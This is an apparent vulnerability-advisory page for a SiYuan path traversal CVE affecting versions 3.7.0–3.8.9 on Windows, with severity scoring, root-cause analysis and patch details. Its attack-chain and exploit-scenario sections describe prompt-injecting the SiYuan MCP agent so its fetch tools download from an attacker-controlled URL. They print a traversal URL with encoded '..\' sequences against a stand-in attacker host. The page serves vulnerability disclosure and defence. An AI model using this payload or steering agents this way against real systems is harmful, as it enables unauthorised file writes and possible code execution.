Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPrompt-inject Windows SiYuan MCP agent
-
DeliverySteer web_fetch/http_request to attacker-controlled URL
-
ExploitServe response named with %5C-encoded ..\ sequence
-
Executionpath.Base/filepath.Join escapes temp/import
-
ImpactWrite attacker bytes to writable auto-run location
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Windows only - on Linux/macOS the backslash stays part of the filename and the write remains inside import/. Affected builds are SiYuan 3.7.0 through 3.8.9, and the SiYuan MCP/agent tools web_fetch or http_request must be in use to fetch a non-text response. The attacker must control (or be able to redirect the agent to) a URL whose host passes SiYuan's CheckHostSSRF validation (i.e. a reachable public host), typically achieved by steering the agent via prompt injection; GET fetches reportedly save without a user confirmation prompt (UI is passive/agent-mediated, AT:P). Limiting factors: writes are directory-relative (..\ only, no absolute paths) above temp/import and confined to locations writable by the SiYuan user; impact is file write (integrity) only, and escalation to code execution depends on reaching an auto-run/startup path relative to the Windows TempDir. |
| Impact | This is a genuine but conditional, medium-severity issue rather than a top-priority emergency. The vendor CVSS 4.0 score of 6.0 (AV:N/AC:L/AT:P/PR:N/UI:P, VI:H only) matches the mechanism: a network-reachable, integrity-only arbitrary file write with no confidentiality (VC:N) or availability (VA:N) impact, gated by a specific attack requirement (AT:P) and passive user/agent interaction (UI:P). Reinforcing the lower-urgency read: there is no CISA KEV listing (so not confirmed actively exploited), no EPSS probability was supplied in the input, and the vuln.today decision label is 'this_month' - not 'act_now' or 'emergency'. A public PoC reference exists via the GHSA advisory and VulnCheck, but it is not verified as working end-to-end exploit code (the author demonstrated only the extractFilename/filepath.Join/os.WriteFile logic on Linux and under Wine, explicitly not against a real Windows install behind a host that passes the SSRF check). The signals are consistent - no conflict between them - and all point to a real-but-narrow risk: exploitation is Windows-only, requires the SiYuan MCP web_fetch/http_request tools to be in use, and requires an attacker to get an agent to fetch a malicious URL (realistically via prompt injection). The VI:H integrity impact is the write itself; escalation to code execution (e.g., dropping into a startup/auto-run location) is plausible but downstream and environment-dependent, not demonstrated. Priority should be driven by whether Windows SiYuan with agent/MCP tooling is actually deployed. |
| Exploit ScenarioDerived | An attacker who can influence a URL that a SiYuan MCP/agent client fetches on Windows (for example through prompt injection in content the agent processes) points the web_fetch or http_request tool at a host like http://attacker.example/..%5C..%5Cescaped.exe. Because extractFilename uses path.Base, which ignores backslashes, the %5C-decoded name '..\..\escaped.exe' survives and filepath.Join on Windows resolves it to a location two directories above temp/import, where os.WriteFile drops attacker-controlled response bytes. A public PoC reference exists but is not verified as working end-to-end exploit code; GET fetches reportedly run without a confirmation prompt, and writing to an auto-run location could lead to code execution as the SiYuan user. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Nov 11, 2026
Path traversal in SiYuan's MCP/agent tools web_fetch and http_request allows unauthenticated remote attackers to write attacker-controlled response bytes outside the temp/import directory on Windows in versions 3.7.0 through 3.8.9. A fetched URL whose percent-decoded path ends in backslash-encoded '..\' sequences produces a filename that path.Base leaves intact, and filepath.Join on Windows treats it as a directory separator with no containment check afterwards; Linux and macOS are not affected because the backslash remains part of the filename. Impact is limited to file write (integrity) at directory-relative locations writable by the SiYuan user, with escalation to code execution only if a reached path is auto-run; exploitation requires an agent to fetch an attacker-influenced URL (typically via prompt injection), and a public PoC reference exists that reproduces the filename/join logic but is not verified as working end-to-end exploit code. The vendor fixed the issue in v3.8.10.
RemediationAI
Vendor-released patch: upgrade to SiYuan v3.8.10 or later (release https://github.com/siyuan-note/siyuan/releases/tag/v3.8.10, fix commit https://github.com/siyuan-note/siyuan/commit/94d6a42a0362c0a6938a29ab84addb1fe0aca21c); the fix replaces the unsafe filepath.Join/os.WriteFile sequence in webfetch.go and httprequest.go with saveImportedFile, which normalizes backslashes, rejects non-plain filenames and verifies the target is a sub-path of temp/import. Until upgrading, Windows users who do not need agent/MCP-driven fetching can avoid exposing web_fetch and http_request to untrusted content, since the attack path depends on an agent being steered to an attacker-controlled URL on a host that passes the SSRF host checks; running SiYuan under an account whose TempDir sits on a path without auto-run or startup locations reduces the chance that the directory-relative write is later executed, at the cost of tighter filesystem permissions. Because writes are relative only (no absolute paths) and stay within directories writable by the SiYuan user, restricting that account's write access to the TempDir tree limits reachability of sensitive targets. Note that the vendor's advisory treats the code change itself as the fix and no separate configuration toggle is documented.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
SiYuan is a Go-based note-taking application whose kernel exposes web_fetch and http_request tooling to MCP/agent clients. In kernel/util/webfetch.go (extractFilename, around line 166, used at webfetch.go:97 and httprequest.go:356-358), the save filename is derived as path.Base of the percent-decoded URL path. Go's path package treats only forward slashes as separators, so a request such as http://attacker.example/..%5C..%5Cescaped.exe decodes to a name of '..\..\escaped.exe'; on Windows, filepath.Join interprets the backslashes as separators and cleans the result, so os.WriteFile lands above TempDir/import with no post-join containment check. This is CWE-22 (improper limitation of a pathname to a restricted directory). The SSRF validation in the fetch path checks only the host, not the resulting filename, and the fallback extension is taken from the URL path or the response Content-Type. The vendor fix introduces saveImportedFile, which normalizes backslashes to '/' before taking the basename, rejects names containing separators, '..', trailing dots, control characters or Windows device names via isValidImportName, and verifies the final path with gulu.File.IsSubPath before writing; regression tests cover backslash and %2F variants plus an end-to-end agent download. The CVSS 4.0 vector assigns AT:P and UI:P, reflecting that the fetch is agent-mediated and reportedly saved without a confirmation prompt for GET requests, while the independently assessed CVSS 3.1 vector is AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N with no confidentiality or availability impact. Authentication is not required (PR:N), but Windows-only deployment plus use of the MCP fetch tools and a URL on a host that passes CheckHostSSRF are prerequisites.
Know when Siyuan gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Remote attacker-controlled URL (AV:N) needs no app authentication (PR:N) but relies on the agent fetching it (UI:R); impact is an arbitrary file write, so I:H with C:N/A:N.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
SiYuan 3.7.0 before 3.8.10 on Windows contains a path traversal vulnerability in kernel/util/webfetch.go that allows attackers to write files outside the import directory via backslash-encoded filenames. Attackers controlling a URL fetched by the MCP web_fetch or http_request tools can use %5C-encoded ..\ sequences to write chosen response bytes to directories above temp/import that are writable by the SiYuan user.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
SQL injection in SiYuan's fullTextSearchAssetContent endpoint lets unauthenticated attackers and holders of publish Role
Stored cross-site scripting in SiYuan personal knowledge management before 3.7.0 lets an attacker with write access to a
SQL injection in SiYuan personal knowledge management (versions <= v3.7.2) lets attackers pass arbitrary SQL statements
Stored cross-site scripting in SiYuan's attribute-view (database) cell renderer, affecting all versions prior to 3.7.0,
SQL injection in SiYuan personal knowledge-management software (all versions before v3.7.3) lets attackers inject arbitr
A SQL injection vulnerability was discovered in Siyuan 3.1.11 in /getHistoryItems. Rated critical severity (CVSS 9.8), t
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the ids array parameter in /batchGetBlockAttrs. R
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the id parameter at /getAssetContent. Rated criti
A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the notebook parameter in /searchHistory. Rated c
SiYuan personal knowledge management system prior to 3.5.4 has a stored XSS vulnerability (CVSS 9.6) that allows code ex
Remote code execution in SiYuan note-taking application (before v3.6.1) allows any malicious Bazaar marketplace package
Origin-validation bypass in SiYuan Note (open-source personal knowledge management) before 3.7.0 lets any installed Chro
EUVD-2026-123770
GHSA-fgx6-mcm3-mrhr
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB